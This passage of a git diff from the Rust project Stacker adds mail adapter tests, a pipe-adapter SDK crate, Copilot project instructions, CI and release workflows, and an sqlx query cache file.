Some("INBOX".to_string()), + body: pipe_adapter_sdk::NormalizedMailBody { + text: Some("CPU usage exceeded threshold".to_string()), + html: None, + }, + ..Default::default() + })) + ); + } + + #[tokio::test] + async fn pop3_source_adapter_polls_normalized_mail_dispatches() { + let client = FakeMailSourceClient { + imap_messages: Arc::new(Mutex::new(Vec::new())), + pop3_messages: Arc::new(Mutex::new(vec![NormalizedMailMessage { + subject: Some("Welcome".to_string()), + body: pipe_adapter_sdk::NormalizedMailBody { + text: Some("hello".to_string()), + html: None, + }, + ..Default::default() + }])), + }; + let adapter = Pop3SourceAdapter::with_client( + PipeAdapterReference::new("pop3").with_config(json!({ + "host": "pop3.example.com", + "username": "alerts@example.com", + "password": "secret" + })), + client, + ) + .expect("pop3 adapter config should parse"); + + let dispatches = adapter.poll().await.expect("pop3 poll should succeed"); + + assert_eq!(dispatches.len(), 1); + assert_eq!(dispatches[0].adapter.code, "pop3"); + assert_eq!( + dispatches[0].payload, + PipeAdapterPayload::MailMessage(Box::new(NormalizedMailMessage { + subject: Some("Welcome".to_string()), + body: pipe_adapter_sdk::NormalizedMailBody { + text: Some("hello".to_string()), + html: None, + }, + ..Default::default() + })) + ); + } +} diff --git a/stacker/crates/pipe-adapter-sdk/Cargo.toml b/stacker/crates/pipe-adapter-sdk/Cargo.toml new file mode 100644 index 0000000..1c8fd99 --- /dev/null +++ b/stacker/crates/pipe-adapter-sdk/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "pipe-adapter-sdk" +version = "0.1.0" +edition = "2021" + +[dependencies] +async-trait = "0.1" +serde = { version = "1", features = ["derive"] } +serde_json = "1" +thiserror = "1" diff --git a/stacker/crates/pipe-adapter-sdk/src/lib.rs b/stacker/crates/pipe-adapter-sdk/src/lib.rs new file mode 100644 index 0000000..f725a96 --- /dev/null +++ b/stacker/crates/pipe-adapter-sdk/src/lib.rs @@ -0,0 +1,298 @@ +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Hash)] +#[serde(rename_all = "snake_case")] +pub enum PipeAdapterRole { + Source, + Target, +} + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Hash)] +#[serde(rename_all = "snake_case")] +pub enum PipeAdapterKind { + HttpEndpoint, + HtmlForm, + WebhookBridge, + SmtpTarget, + Pop3Source, + ImapSource, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct PipeAdapterReference { + pub code: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub role: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub config: Option, +} + +impl PipeAdapterReference { + pub fn new(code: impl Into) -> Self { + Self { + code: normalize_adapter_code(&code.into()), + role: None, + config: None, + } + } + + pub fn with_role(mut self, role: PipeAdapterRole) -> Self { + self.role = Some(role); + self + } + + pub fn with_config(mut self, config: serde_json::Value) -> Self { + self.config = Some(config); + self + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct PipeAdapterMetadata { + pub code: String, + pub display_name: String, + pub description: String, + pub kind: PipeAdapterKind, + pub roles: Vec, +} + +impl PipeAdapterMetadata { + pub fn supports_role(&self, role: PipeAdapterRole) -> bool { + self.roles.contains(&role) + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)] +pub struct NormalizedMailAddress { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub name: Option, + pub email: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)] +pub struct NormalizedMailBody { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub text: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub html: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)] +pub struct NormalizedMailAttachment { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub file_name: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub content_type: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub size_bytes: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)] +pub struct NormalizedMailMessage { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub message_id: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub cursor: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub mailbox: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub subject: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub sent_at: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub received_at: Option, + #[serde(default)] + pub from: Vec, + #[serde(default)] + pub to: Vec, + #[serde(default)] + pub cc: Vec, + #[serde(default)] + pub bcc: Vec, + #[serde(default)] + pub headers: BTreeMap, + #[serde(default)] + pub body: NormalizedMailBody, + #[serde(default)] + pub attachments: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "snake_case")] +pub enum PipeAdapterPayload { + Json(serde_json::Value), + MailMessage(Box), +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct PipeAdapterDispatch { + pub adapter: PipeAdapterReference, + pub payload: PipeAdapterPayload, +} + +#[derive(Debug, Clone, thiserror::Error)] +pub enum PipeAdapterError { + #[error("{0}")] + Message(String), +} + +#[async_trait] +pub trait PipeSourceAdapter: Send + Sync { + fn metadata(&self) -> &PipeAdapterMetadata; + + async fn poll(&self) -> Result, PipeAdapterError>; +} + +#[async_trait] +pub trait PipeTargetAdapter: Send + Sync { + fn metadata(&self) -> &PipeAdapterMetadata; + + async fn deliver( + &self, + payload: PipeAdapterPayload, + ) -> Result; +} + +pub trait PipeAdapterCatalog: Send + Sync { + fn adapters(&self) -> Vec; + fn find(&self, code: &str) -> Option; +} + +#[derive(Debug, Clone, Default)] +pub struct InMemoryPipeAdapterRegistry { + adapters: BTreeMap, +} + +impl InMemoryPipeAdapterRegistry { + pub fn new() -> Self { + Self::default() + } + + pub fn register(&mut self, metadata: PipeAdapterMetadata) { + self.adapters + .insert(normalize_adapter_code(&metadata.code), metadata); + } +} + +impl PipeAdapterCatalog for InMemoryPipeAdapterRegistry { + fn adapters(&self) -> Vec { + self.adapters.values().cloned().collect() + } + + fn find(&self, code: &str) -> Option { + self.adapters.get(&normalize_adapter_code(code)).cloned() + } +} + +pub fn normalize_adapter_code(code: &str) -> String { + code.trim().to_ascii_lowercase() +} + +pub fn builtin_registry() -> InMemoryPipeAdapterRegistry { + let mut registry = InMemoryPipeAdapterRegistry::new(); + for metadata in [ + PipeAdapterMetadata { + code: "webhook".to_string(), + display_name: "Webhook bridge".to_string(), + description: "Generic HTTP webhook target adapter".to_string(), + kind: PipeAdapterKind::WebhookBridge, + roles: vec![PipeAdapterRole::Target], + }, + PipeAdapterMetadata { + code: "smtp".to_string(), + display_name: "SMTP target".to_string(), + description: "Outbound SMTP delivery target adapter".to_string(), + kind: PipeAdapterKind::SmtpTarget, + roles: vec![PipeAdapterRole::Target], + }, + PipeAdapterMetadata { + code: "pop3".to_string(), + display_name: "POP3 source".to_string(), + description: "Inbound POP3 mailbox polling source adapter".to_string(), + kind: PipeAdapterKind::Pop3Source, + roles: vec![PipeAdapterRole::Source], + }, + PipeAdapterMetadata { + code: "imap".to_string(), + display_name: "IMAP source".to_string(), + description: "Inbound IMAP mailbox polling source adapter".to_string(), + kind: PipeAdapterKind::ImapSource, + roles: vec![PipeAdapterRole::Source], + }, + PipeAdapterMetadata { + code: "mailhog".to_string(), + display_name: "MailHog SMTP target".to_string(), + description: "SMTP-compatible target alias for MailHog-style services".to_string(), + kind: PipeAdapterKind::SmtpTarget, + roles: vec![PipeAdapterRole::Target], + }, + ] { + registry.register(metadata); + } + registry +} + +pub fn builtin_adapter_kind(code: &str) -> Option { + builtin_registry().find(code).map(|metadata| metadata.kind) +} + +pub fn selector_matches_builtin_kind(selector: &str, kind: PipeAdapterKind) -> bool { + let canonical = normalize_adapter_code(selector); + if builtin_adapter_kind(&canonical) == Some(kind) { + return true; + } + + selector + .split(|ch: char| !ch.is_ascii_alphanumeric()) + .filter(|token| !token.is_empty()) + .map(normalize_adapter_code) + .any(|token| builtin_adapter_kind(&token) == Some(kind)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn builtin_registry_exposes_first_party_adapters() { + let registry = builtin_registry(); + + assert_eq!( + registry.find("smtp").map(|metadata| metadata.kind), + Some(PipeAdapterKind::SmtpTarget) + ); + assert_eq!( + registry.find("imap").map(|metadata| metadata.kind), + Some(PipeAdapterKind::ImapSource) + ); + } + + #[test] + fn selector_matching_detects_mail_aliases() { + assert!(selector_matches_builtin_kind( + "smtp", + PipeAdapterKind::SmtpTarget + )); + assert!(selector_matches_builtin_kind( + "mailhog", + PipeAdapterKind::SmtpTarget + )); + assert!(selector_matches_builtin_kind( + "status-mailhog-1", + PipeAdapterKind::SmtpTarget + )); + assert!(!selector_matches_builtin_kind( + "status-panel-web", + PipeAdapterKind::SmtpTarget + )); + } + + #[test] + fn adapter_reference_normalizes_codes() { + let reference = PipeAdapterReference::new(" SMTP "); + + assert_eq!(reference.code, "smtp"); + } +} diff --git a/stacker/stacker/.dockerignore b/stacker/stacker/.dockerignore new file mode 100644 index 0000000..e69de29 diff --git a/stacker/stacker/.github/copilot-instructions.md b/stacker/stacker/.github/copilot-instructions.md new file mode 100644 index 0000000..c332259 --- /dev/null +++ b/stacker/stacker/.github/copilot-instructions.md @@ -0,0 +1,145 @@ +# Copilot Instructions + +## Build, Test & Lint + +```bash +# Build +cargo build + +# Build (required for offline sqlx — always set this when no live DB) +SQLX_OFFLINE=true cargo build + +# Run server +cargo run # default binary: server +cargo run --bin console # admin console (requires --features explain) +cargo run --bin stacker-cli # end-user stacker CLI + +# Run all lib unit tests (single thread, with output) +make test +# Equivalent: +SQLX_OFFLINE=true cargo test --offline --lib -- --color=always --test-threads=1 --nocapture + +# Run a single test by name +SQLX_OFFLINE=true cargo test --offline --lib -- --color=always --test-threads=1 --nocapture my_test_name + +# Run integration tests (requires live Postgres — uses config from configuration.yaml) +cargo test --test health_check +cargo test --test agent_command_flow + +# Lint +make lint # cargo clippy --all-targets --all-features -- -D warnings + +# Format check +make style-check # cargo fmt --all -- --check +``` + +> **SQLX_OFFLINE=true** must be set when building/testing without a live database. Without it, sqlx macro type-checking fails on ~181 queries. + +## Architecture + +Stacker is an Actix-web HTTP server that manages containerized application stacks. It orchestrates deployments via SSH/agents, integrates with cloud providers, and exposes an MCP (Model Context Protocol) interface. + +### Three binaries + +| Binary | Entry point | Purpose | +|--------|-------------|---------| +| `server` | `src/main.rs` | Main HTTP API (default) | +| `console` | `src/console/main.rs` | Admin multi-tool CLI (requires `explain` feature) | +| `stacker-cli` | `src/bin/stacker.rs` | End-user CLI: `init`, `deploy`, `status`, `logs`, `destroy` | + +### Source layout + +``` +src/ + routes/ # Actix-web request handlers (thin — delegate to services/db) + models/ # Domain models with sqlx derives + validation logic + forms/ # Request body types with serde_valid validation + db/ # sqlx query functions per domain entity + services/ # Business logic (agent dispatcher, deployment, project, vault, etc.) + connectors/ # Trait-based adapters for external services (User Service, DockerHub, etc.) + middleware/ # OAuth authentication + Casbin RBAC authorization + helpers/ # Shared utilities: AgentPgPool, VaultClient, MqManager, SSH client, etc. + mcp/ # Model Context Protocol server (WebSocket, tool registry, session) + cli/ # stacker-cli command implementations + console/ # console binary command implementations + configuration.rs # Settings struct, loaded from configuration.yaml + startup.rs # Server wiring: routes, middleware, data injection + telemetry.rs # tracing-bunyan-formatter subscriber setup +``` + +### Two database pools + +`main.rs` creates two separate `PgPool` instances injected as `web::Data`: +- **`api_pool`** — 30 max connections, 5s acquire timeout. For regular API requests. +- **`agent_pool`** — 100 max connections, 15s acquire timeout, wrapped as `AgentPgPool`. For long-polling agent connections. + +Always use the appropriate pool; `AgentPgPool` is a newtype wrapper around `PgPool`. + +### External service connectors + +All external HTTP calls go through `src/connectors/`. The pattern: +1. Define a trait in `{service}.rs` (e.g., `UserServiceConnector`) +2. Implement it as an HTTP client in the same file +3. Inject `Arc` into routes via `web::Data` +4. Use `Mock{Service}Connector` in tests — no real HTTP calls + +`ConnectorError` implements Actix's `ResponseError` and maps to appropriate HTTP status codes. + +### Authentication & Authorization + +- **Authentication**: Middleware validates Bearer tokens against an external OAuth endpoint (`auth_url` in config). Results cached for 60 seconds (`OAuthCache`). +- **Authorization**: Casbin RBAC via `actix-casbin-auth`. Rules stored in PostgreSQL, periodically reloaded (configurable `casbin_reload_interval_secs`). The `explain` feature flag enables detailed Casbin logging. + +### Configuration + +Loaded from `configuration.yaml` (copy `configuration.yaml.dist` to get started). Key sections: `database`, `amqp`, `vault`, `connectors`, `deployment`. Environment variable overrides documented in `configuration.yaml.dist`. + +### Migrations + +sqlx migrations live in `migrations/` as paired `*.up.sql` / `*.down.sql` files. Run with `sqlx migrate run`. + +## Key Conventions + +### Error handling + +- Use `thiserror` for typed domain errors; implement `ResponseError` to produce HTTP responses. +- `ConnectorError` is the canonical pattern — enum variants with `Display`, `ResponseError` impl mapping variants to HTTP status codes, and `From`. +- Route handlers return `Result` where `SomeError: ResponseError`. + +### Validation + +Request bodies use `serde_valid` (not just `serde`). Structs in `src/forms/` derive `serde::Deserialize` + `serde_valid::Validate`. The JSON error handler in `startup.rs` serializes deserialization errors as structured JSON with `line`, `column`, and `msg`. + +### Database queries + +sqlx macros (`query!`, `query_as!`) with compile-time checking. All queries must be cached in `.sqlx/` for offline builds. When adding a new query, run `cargo sqlx prepare` with a live DB to update the cache. + +### Regex caching + +For compiled regexes used in hot paths, use `OnceLock` (see `models/project.rs`): +```rust +static REGEX: OnceLock = OnceLock::new(); +REGEX.get_or_init(|| Regex::new(r"...").unwrap()) +``` + +### Integration tests + +Tests in `tests/` use `common::spawn_app()` which: +- Binds to a random port +- Creates a fresh database with a UUID name +- Spawns a mock OAuth auth server +- Returns `None` (skips test) if Postgres is unavailable — no panics on CI without DB + +Unit tests (lib) use `--test-threads=1` (see Makefile) because many share global state. + +### CLI commands + +`stacker-cli` commands are implemented in `src/cli/`. `console` commands are in `src/console/commands/`. Both use `clap` with `#[derive(Parser, Subcommand)]`. Interactive prompts use `dialoguer`; progress bars use `indicatif`. + +### Service deployment scope + +`stacker service deploy ` is project-scoped by default for services declared in `stacker.yml`. Normal custom services must update `/home/trydirect/project/docker-compose.yml` and must not create `/home/trydirect//docker-compose.yml` unless the user explicitly chooses standalone mode, such as a future `--standalone` or `--scope standalone` flag. + +Only platform-managed services live outside the project directory by default. Current examples are Status Panel (`/home/trydirect/statuspanel`) and Nginx Proxy Manager (`/home/trydirect/nginx_proxy_manager`). Add regression tests for any service/proxy deploy change that could duplicate a project-scoped service as a standalone compose project. + +Stacker-managed compose services use stable runtime labels with the `my.stacker.*` prefix: `my.stacker.project_id`, `my.stacker.target`, `my.stacker.scope`, `my.stacker.service`, and `my.stacker.dns`. Keep logical service codes and Docker DNS names separate; for Nginx Proxy Manager use `my.stacker.service=nginx_proxy_manager` and `my.stacker.dns=nginx-proxy-manager`. diff --git a/stacker/stacker/.github/workflows/docker.yml b/stacker/stacker/.github/workflows/docker.yml new file mode 100644 index 0000000..4a2e46d --- /dev/null +++ b/stacker/stacker/.github/workflows/docker.yml @@ -0,0 +1,275 @@ +name: Docker CICD + +on: + push: + branches: + - main + - testing + - dev + pull_request: + branches: + - main + - dev + release: + types: [published] + +jobs: + + cicd-docker: + name: Cargo and npm build + runs-on: ubuntu-latest + #runs-on: [self-hosted, linux] + services: + postgres: + image: postgres:16 + env: + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + POSTGRES_DB: postgres + ports: + - 5432/tcp + options: >- + --health-cmd "pg_isready -U postgres" + --health-interval 10s + --health-timeout 5s + --health-retries 5 + env: + SQLX_OFFLINE: true + steps: + - name: Checkout sources + uses: actions/checkout@v4 + with: + ref: ${{ github.ref }} + - name: Export PostgreSQL connection env + run: | + echo "PGHOST=127.0.0.1" >> "$GITHUB_ENV" + echo "PGPORT=${{ job.services.postgres.ports['5432'] }}" >> "$GITHUB_ENV" + echo "PGUSER=postgres" >> "$GITHUB_ENV" + echo "PGPASSWORD=postgres" >> "$GITHUB_ENV" + + - name: Install OpenSSL and protoc build deps + if: runner.os == 'Linux' + run: | + sudo apt-get update + sudo apt-get install -y pkg-config libssl-dev protobuf-compiler + + - name: Verify .sqlx cache exists + run: | + ls -lh .sqlx/ || echo ".sqlx directory not found" + find .sqlx -type f 2>/dev/null | wc -l + + - name: Install stable toolchain + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + profile: minimal + override: true + components: rustfmt, clippy + + - name: Cache cargo registry + uses: actions/cache@v4 + with: + path: ~/.cargo/registry + key: docker-registry-${{ hashFiles('**/Cargo.lock') }} + restore-keys: | + docker-registry- + docker- + + - name: Cache cargo index + uses: actions/cache@v4 + with: + path: ~/.cargo/git + key: docker-index-${{ hashFiles('**/Cargo.lock') }} + restore-keys: | + docker-index- + docker- + + - name: Generate Secret Key + run: | + head -c16 /dev/urandom > src/secret.key + + - name: Wait for PostgreSQL + run: | + for _ in $(seq 1 60); do + if bash -lc "exec 3<>/dev/tcp/${PGHOST}/${PGPORT}" 2>/dev/null; then + exit 0 + fi + sleep 1 + done + echo "PostgreSQL did not become ready in time" >&2 + exit 1 + + - name: Cache cargo build + uses: actions/cache@v4 + with: + path: target + key: docker-build-${{ hashFiles('**/Cargo.lock') }} + restore-keys: | + docker-build- + docker- + + - name: Cargo check + uses: actions-rs/cargo@v1 + with: + command: check + + - name: Cargo test + if: ${{ always() }} + uses: actions-rs/cargo@v1 + with: + command: test + + - name: Rustfmt + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + profile: minimal + override: true + components: rustfmt + command: fmt + args: --all -- --check + + - name: Rustfmt + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + profile: minimal + override: true + components: clippy + command: clippy + args: -- -D warnings + + - name: Build server (release) + uses: actions-rs/cargo@v1 + with: + command: build + args: --release --bin server + + - name: Set up Node.js + if: ${{ hashFiles('web/package.json') != '' }} + uses: actions/setup-node@v4 + with: + node-version: '22' + cache: 'npm' + cache-dependency-path: web/package-lock.json + + - name: npm install, build, and test + if: ${{ hashFiles('web/package.json') != '' }} + working-directory: ./web + run: | + npm install + npm run build + # npm test + + - name: Archive production artifacts + if: ${{ hashFiles('web/package.json') != '' }} + uses: actions/upload-artifact@v4 + with: + name: dist-without-markdown + path: | + web/dist + !web/dist/**/*.md + + - name: Display structure of downloaded files + if: ${{ hashFiles('web/package.json') != '' }} + run: ls -R web/dist + + - name: Copy app files and zip + run: | + mkdir -p app/stacker/dist + cp target/release/server app/stacker/server + if [ -d web/dist ]; then cp -a web/dist/. app/stacker; fi + cp Dockerfile app/Dockerfile + cp access_control.conf.dist app/access_control.conf.dist + cd app + touch .env + tar -czvf ../app.tar.gz . + cd .. + + - name: Upload app archive for Docker job + uses: actions/upload-artifact@v4 + with: + name: artifact-linux-docker + path: app.tar.gz + + cicd-linux-docker: + name: CICD Docker + runs-on: ubuntu-latest + #runs-on: [self-hosted, linux] + needs: cicd-docker + steps: + - name: Checkout sources + uses: actions/checkout@v4 + with: + ref: ${{ github.event_name == 'pull_request' && github.head_ref || github.ref }} + - name: Verify shared pipe fixtures + run: | + test -d "${GITHUB_WORKSPACE}/tests/fixtures/pipe-contract" + + - + name: Set up QEMU + uses: docker/setup-qemu-action@v3 + - + name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + - + name: Login to Docker Hub + uses: docker/login-action@v3 + with: + username: ${{ secrets.DOCKER_USERNAME }} + password: ${{ secrets.DOCKER_PASSWORD }} + - name: Set Docker tags + id: docker_tags + run: | + if [ "${{ github.event_name }}" = "release" ]; then + echo "tags=trydirect/stacker:${{ github.ref_name }}" >> "$GITHUB_OUTPUT" + else + echo "tags=trydirect/stacker:latest" >> "$GITHUB_OUTPUT" + fi + - + name: Build and push + uses: docker/build-push-action@v6 + with: + context: . + build-contexts: | + shared_fixtures=${{ github.workspace }}/tests/fixtures + push: ${{ github.event_name != 'pull_request' }} + tags: ${{ steps.docker_tags.outputs.tags }} + + stackerdb-docker: + name: StackerDB Docker + runs-on: ubuntu-latest + #runs-on: [self-hosted, linux] + needs: cicd-docker + steps: + - name: Checkout sources + uses: actions/checkout@v4 + with: + ref: ${{ github.ref }} + - + name: Set up QEMU + uses: docker/setup-qemu-action@v3 + - + name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + - + name: Login to Docker Hub + uses: docker/login-action@v3 + with: + username: ${{ secrets.DOCKER_USERNAME }} + password: ${{ secrets.DOCKER_PASSWORD }} + - name: Set Docker tags + id: stackerdb_tags + run: | + if [ "${{ github.event_name }}" = "release" ]; then + echo "tags=trydirect/stackerdb:${{ github.ref_name }}" >> "$GITHUB_OUTPUT" + else + echo "tags=trydirect/stackerdb:latest" >> "$GITHUB_OUTPUT" + fi + - name: Build and push + uses: docker/build-push-action@v6 + with: + context: ./stackerdb + file: ./stackerdb/Dockerfile + push: true + tags: ${{ steps.stackerdb_tags.outputs.tags }} diff --git a/stacker/stacker/.github/workflows/notifier.yml b/stacker/stacker/.github/workflows/notifier.yml new file mode 100644 index 0000000..33822fc --- /dev/null +++ b/stacker/stacker/.github/workflows/notifier.yml @@ -0,0 +1,20 @@ +name: Notifier +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + + notifyTelegram: + runs-on: ubuntu-latest + concurrency: build + steps: + - name: send custom message + uses: appleboy/telegram-action@master + with: + to: ${{ secrets.TELEGRAM_TO }} + token: ${{ secrets.TELEGRAM_TOKEN }} + message: | + "Github actions on push: build in progress .. ${{ github.event.action }} " diff --git a/stacker/stacker/.github/workflows/release.yml b/stacker/stacker/.github/workflows/release.yml new file mode 100644 index 0000000..1f72465 --- /dev/null +++ b/stacker/stacker/.github/workflows/release.yml @@ -0,0 +1,91 @@ +name: Release CLI Binaries + +permissions: + contents: write + +on: + release: + types: [published] + +env: + CARGO_TERM_COLOR: always + +jobs: + build-and-upload: + name: Build & upload (${{ matrix.target }}) + env: + SQLX_OFFLINE: true + strategy: + matrix: + include: + - os: ubuntu-latest + target: x86_64-unknown-linux-gnu + asset_os: linux + asset_arch: x86_64 + - os: macos-latest + target: x86_64-apple-darwin + asset_os: darwin + asset_arch: x86_64 + - os: macos-latest + target: aarch64-apple-darwin + asset_os: darwin + asset_arch: aarch64 + runs-on: ${{ matrix.os }} + steps: + - uses: actions/checkout@v6 + + - name: Install protoc + run: | + if [ "$RUNNER_OS" = "Linux" ]; then + sudo apt-get update -qq && sudo apt-get install -y protobuf-compiler + elif [ "$RUNNER_OS" = "macOS" ]; then + brew install protobuf + fi + + - name: Install Rust toolchain + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + target: ${{ matrix.target }} + override: true + + - name: Cache cargo registry + uses: actions/cache@v5 + with: + path: ~/.cargo/registry + key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }} + restore-keys: | + ${{ runner.os }}-cargo-registry- + + - name: Cache cargo index + uses: actions/cache@v5 + with: + path: ~/.cargo/git + key: ${{ runner.os }}-cargo-index-${{ hashFiles('**/Cargo.lock') }} + restore-keys: | + ${{ runner.os }}-cargo-index- + + - name: Cache target directory + uses: actions/cache@v5 + with: + path: target + key: release-${{ runner.os }}-target-${{ matrix.target }}-${{ hashFiles('**/Cargo.lock') }} + restore-keys: | + release-${{ runner.os }}-target-${{ matrix.target }}- + + - name: Build stacker-cli (release) + run: cargo build --release --target ${{ matrix.target }} --bin stacker-cli --verbose + + - name: Package binary + run: | + VERSION="${GITHUB_REF_NAME#v}" + ASSET_NAME="stacker-v${VERSION}-${{ matrix.asset_arch }}-${{ matrix.asset_os }}.tar.gz" + mkdir -p staging + cp target/${{ matrix.target }}/release/stacker-cli staging/stacker + tar -czf "${ASSET_NAME}" -C staging . + echo "ASSET_NAME=${ASSET_NAME}" >> "$GITHUB_ENV" + + - name: Upload release asset + run: gh release upload "$GITHUB_REF_NAME" "$ASSET_NAME" --clobber + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/stacker/stacker/.github/workflows/rust.yml b/stacker/stacker/.github/workflows/rust.yml new file mode 100644 index 0000000..2ebf5ad --- /dev/null +++ b/stacker/stacker/.github/workflows/rust.yml @@ -0,0 +1,126 @@ +name: Rust +permissions: + contents: read + +on: + push: + branches: [ dev, main ] + pull_request: + branches: [ dev, main ] + +env: + CARGO_TERM_COLOR: always + +jobs: + build: + name: Build binaries (Linux/macOS) + env: + SQLX_OFFLINE: true + strategy: + matrix: + include: + - os: ubuntu-latest + target: x86_64-unknown-linux-gnu + artifact_name: stacker-linux-x86_64 + - os: macos-latest + target: x86_64-apple-darwin + artifact_name: stacker-macos-x86_64 + - os: macos-latest + target: aarch64-apple-darwin + artifact_name: stacker-macos-aarch64 + runs-on: ${{ matrix.os }} + steps: + - uses: actions/checkout@v6 + - name: Install protoc + run: | + if [ "$RUNNER_OS" = "Linux" ]; then + sudo apt-get update -qq && sudo apt-get install -y protobuf-compiler + elif [ "$RUNNER_OS" = "macOS" ]; then + brew install protobuf + fi + - name: Verify .sqlx cache exists + run: | + ls -lh .sqlx/ || echo ".sqlx directory not found" + find .sqlx -type f 2>/dev/null | wc -l + - name: Install Rust toolchain + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + target: ${{ matrix.target }} + override: true + - name: Cache Cargo registry/git (no target — cross-compiled release builds cause cache bloat) + uses: Swatinem/rust-cache@v2 + with: + cache-targets: "false" + key: ${{ matrix.target }} + - name: Build server (release) + run: cargo build --release --target ${{ matrix.target }} --bin server --verbose + + - name: Build console (release with features) + run: cargo build --release --target ${{ matrix.target }} --bin console --features explain --verbose + + - name: Build stacker-cli (release) + run: cargo build --release --target ${{ matrix.target }} --bin stacker-cli --verbose + + - name: Prepare binaries + run: | + mkdir -p artifacts + cp target/${{ matrix.target }}/release/server artifacts/server + cp target/${{ matrix.target }}/release/console artifacts/console + cp target/${{ matrix.target }}/release/stacker-cli artifacts/stacker-cli + tar -czf ${{ matrix.artifact_name }}.tar.gz -C artifacts . + - name: Upload binaries + uses: actions/upload-artifact@v4 + with: + name: ${{ matrix.artifact_name }} + path: ${{ matrix.artifact_name }}.tar.gz + retention-days: 7 + test: + name: Run CLI tests + runs-on: ubuntu-latest + services: + postgres: + image: postgres:16 + env: + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + POSTGRES_DB: postgres + ports: + - 5432/tcp + options: >- + --init + --health-cmd "pg_isready -U postgres" + --health-interval 10s + --health-timeout 5s + --health-retries 5 + env: + SQLX_OFFLINE: true + steps: + - uses: actions/checkout@v4 + - name: Export PostgreSQL connection env + run: | + echo "PGHOST=127.0.0.1" >> "$GITHUB_ENV" + echo "PGPORT=${{ job.services.postgres.ports['5432'] }}" >> "$GITHUB_ENV" + echo "PGUSER=postgres" >> "$GITHUB_ENV" + echo "PGPASSWORD=postgres" >> "$GITHUB_ENV" + - name: Install protoc + run: sudo apt-get update -qq && sudo apt-get install -y protobuf-compiler + - name: Wait for PostgreSQL + run: | + for _ in $(seq 1 60); do + if bash -lc "exec 3<>/dev/tcp/${PGHOST}/${PGPORT}" 2>/dev/null; then + exit 0 + fi + sleep 1 + done + echo "PostgreSQL did not become ready in time" >&2 + exit 1 + - name: Install Rust toolchain + uses: actions-rs/toolchain@v1 + with: + toolchain: stable + override: true + - name: Cache Cargo registry/git/target (with stale-artifact pruning) + uses: Swatinem/rust-cache@v2 + - name: Run CLI integration tests + run: cargo test --tests --verbose diff --git a/stacker/stacker/.gitignore b/stacker/stacker/.gitignore new file mode 100644 index 0000000..9218add --- /dev/null +++ b/stacker/stacker/.gitignore @@ -0,0 +1,13 @@ +target +.idea/ +files +access_control.conf +configuration.yaml +configuration.yaml.backup +configuration.yaml.orig +.vscode/ +.env +docker/local/ +docs/*.sql +config-to-validate.yaml +*.bak \ No newline at end of file diff --git a/stacker/stacker/.pre-commit-config.yaml b/stacker/stacker/.pre-commit-config.yaml new file mode 100644 index 0000000..c4e0b88 --- /dev/null +++ b/stacker/stacker/.pre-commit-config.yaml @@ -0,0 +1,24 @@ +repos: + - repo: https://github.com/gitguardian/ggshield + rev: v1.28.0 + hooks: + - id: ggshield + language_version: python3 + stages: [commit] + - repo: local + hooks: + - id: cargo-fmt + name: cargo fmt --all + entry: cargo fmt --all + language: system + stages: [commit] + - id: cargo-clippy + name: SQLX_OFFLINE=true cargo clippy + entry: bash -c 'SQLX_OFFLINE=true cargo clippy' + language: system + stages: [commit] + - id: cargo-test + name: SQLX_OFFLINE=true cargo test + entry: bash -c 'SQLX_OFFLINE=true cargo test' + language: system + stages: [commit] diff --git a/stacker/stacker/.sqlx/query-09211b75cd521772b4a9ca806efa60d355d2479811e2bb55d4f6b8163c7ad724.json b/stacker/stacker/.sqlx/query-09211b75cd521772b4a9ca806efa60d355d2479811e2bb55d4f6b8163c7ad724.json new file mode 100644 index 0000000..dbd107d --- /dev/null +++ b/stacker/stacker/.sqlx/query-09211b75cd521772b4a9ca806efa60d355d2479811e2bb55d4f6b8163c7ad724.json @@ -0,0 +1,218 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO project_app (\n project_id, code, name, image, environment, ports, volumes,\n domain, ssl_enabled, resources, restart_policy, command,\n entrypoint, networks, depends_on, healthcheck, labels,\n config_files, template_source, enabled, deploy_order, parent_app_code,\n deployment_id, created_at, updated_at\n )\n VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, 